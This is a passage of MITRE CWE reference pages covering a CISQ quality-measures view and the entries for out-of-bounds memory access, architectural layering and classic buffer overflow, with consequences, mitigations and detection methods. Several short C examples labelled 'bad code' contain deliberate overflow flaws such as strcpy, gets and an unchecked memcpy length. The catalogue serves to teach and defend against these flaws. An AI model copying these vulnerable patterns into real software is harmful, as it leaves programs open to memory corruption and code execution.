1128 (CISQ Quality Measures (2016)) > 1131 (CISQ Quality Measures - Security) > 835 (Loop with Unreachable Exit Condition ('Infinite Loop'))
The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.CISQ Quality Measures - Performance - (1132)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance)
Weaknesses in this category are related to the CISQ Quality Measures for Performance. Presence of these weaknesses could reduce the performance of the software.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Static Member Data Element outside of a Singleton Class Element - (1042)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1042 (Static Member Data Element outside of a Singleton Class Element)
The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Data Element Aggregating an Excessively Large Number of Non-Primitive Elements - (1043)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1043 (Data Element Aggregating an Excessively Large Number of Non-Primitive Elements)
The software uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Creation of Immutable Text Using String Concatenation - (1046)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1046 (Creation of Immutable Text Using String Concatenation)
The software creates an immutable text string using string concatenation operations.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Excessive Data Query Operations in a Large Data Table - (1049)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1049 (Excessive Data Query Operations in a Large Data Table)
The software performs a data query with a large number of joins and sub-queries on a large data table.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Excessive Platform Resource Consumption within a Loop - (1050)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1050 (Excessive Platform Resource Consumption within a Loop)
The software has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Data Access Operations Outside of Expected Data Manager Component - (1057)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1057 (Data Access Operations Outside of Expected Data Manager Component)
The software uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Excessive Number of Inefficient Server-Side Data Accesses - (1060)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1060 (Excessive Number of Inefficient Server-Side Data Accesses)
The software performs too many data queries without using efficient data processing functionality such as stored procedures.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Creation of Class Instance within a Static Code Block - (1063)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1063 (Creation of Class Instance within a Static Code Block)
A static code block creates an instance of a class.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Excessive Execution of Sequential Searches of Data Resource - (1067)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1067 (Excessive Execution of Sequential Searches of Data Resource)
The software contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Data Resource Access without Use of Connection Pooling - (1072)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1072 (Data Resource Access without Use of Connection Pooling)
The software accesses a data resource through a database without using a connection pooling capability.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses - (1073)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1073 (Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses)
The software contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Large Data Table with Excessive Number of Indices - (1089)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1089 (Large Data Table with Excessive Number of Indices)
The software uses a large data table that contains an excessively large number of indices.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Use of Object without Invoking Destructor Method - (1091)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1091 (Use of Object without Invoking Destructor Method)
The software contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Excessive Index Range Scan for a Data Resource - (1094)
1128 (CISQ Quality Measures (2016)) > 1132 (CISQ Quality Measures - Performance) > 1094 (Excessive Index Range Scan for a Data Resource)
The software contains an index range scan for a large data table, but the scan can cover a large number of rows.
+ References
[REF-968] Consortium for IT Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. <http://it-cisq.org/standards/automated-quality-characteristic-measures/>.
+ View Metrics
CWEs in this viewTotal CWEs
Weaknesses77out of 806
Categories4out of 289
Views0out of 36
Total81out of1131
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-23CWE Content TeamMITRE
View constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.

View Components

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-788: Access of Memory Location After End of Buffer

Weakness ID: 788
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
+ Extended Description
This typically occurs when a pointer or its index is decremented to a position before the buffer; when pointer arithmetic results in a position before the buffer; or when a negative index is used, which generates a position before the buffer.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.121Stack-based Buffer Overflow
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.122Heap-based Buffer Overflow
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.126Buffer Over-read
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.121Stack-based Buffer Overflow
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.122Heap-based Buffer Overflow
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.126Buffer Over-read
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory

For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.
Integrity
Availability

Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Integrity

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
+ Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)
Example Language:
int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...
}
int main() {
...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...
}

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){

/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

(bad code)
Example Language:
int processMessageFromSocket(int socket) {
int success;

char buffer[BUFFER_SIZE];
char message[MESSAGE_SIZE];

// get message from socket and store into buffer

//Ignoring possibliity that buffer > BUFFER_SIZE
if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {

// place contents of the buffer into message structure
ExMessage *msg = recastBuffer(buffer);

// copy message body into string for processing
int index;
for (index = 0; index < msg->msgLength; index++) {
message[index] = msg->msgBody[index];
}
message[index] = '\0';

// process message
success = processMessage(message);
}
return success;
}

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

+ Observed Examples
ReferenceDescription
Classic stack-based buffer overflow in media player using a long entry in a playlist
Heap-based buffer overflow in media player using a long entry in a playlist
large precision value in a format string triggers overflow
attacker-controlled array index leads to code execution
OS kernel trusts userland-supplied length value, allowing reading of sensitive information
Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures - Reliability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCRMASCRM-CWE-788
+ References
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-788. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2009-10-21CWE Content TeamMITRE
Modifications
Modification DateModifierOrganization
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples
2015-12-07CWE Content TeamMITRE
updated Description
2017-05-03CWE Content TeamMITRE
updated Description
2017-11-08CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings

CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range

Weakness ID: 1044
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The software's architecture contains too many - or too few - horizontal layers.
+ Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.710Improper Adherence to Coding Standards
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Reduce Maintainability

+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures - Maintainability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OMG ASCMMASCMM-MNT-9
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-9. 2016-01. <http://www.omg.org/spec/ASCMM/1.0>.
+ Content History
Submissions
Submission DateSubmitterOrganization
2018-07-02CWE Content TeamMITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
+ Extended Description
A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.
+ Alternate Terms
buffer overrun:
Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."
Unbounded Transfer
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.785Use of Path Manipulation Function without Maximum-sized Buffer
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.170Improper Null Termination
CanFollowVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.231Improper Handling of Extra Values
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.416Use After Free
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.456Missing Initialization of a Variable
CanPrecedeBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.123Write-what-where Condition
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.785Use of Path Manipulation Function without Maximum-sized Buffer
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.20Improper Input Validation
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Implementation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Class: Assembly (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

(bad code)
Example Language:
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

(bad code)
Example Language:
void manipulate_string(char* string){
char buf[24];
strcpy(buf, string);
...
}

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3

The excerpt below calls the gets() function in C, which is inherently unsafe.

(bad code)
Example Language:
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

(bad code)
Example Language:
...
struct hostent *clienthp;
char hostname[MAX_LEN];

// create server socket, bind to server address and listen on socket
...

// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {

int clientlen = sizeof(struct sockaddr_in);
int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);

if (clientsocket >= 0) {
clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name);
logOutput("Accepted client connection from host ", hostname);

// process client request
...
close(clientsocket);
}
}
close(serversocket);

...

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

+ Observed Examples
ReferenceDescription
buffer overflow using command with long argument
buffer overflow in local program using long environment variable
buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<"
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

Note: This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness: Defense in Depth

Note: This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phases: Build and Compilation; Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
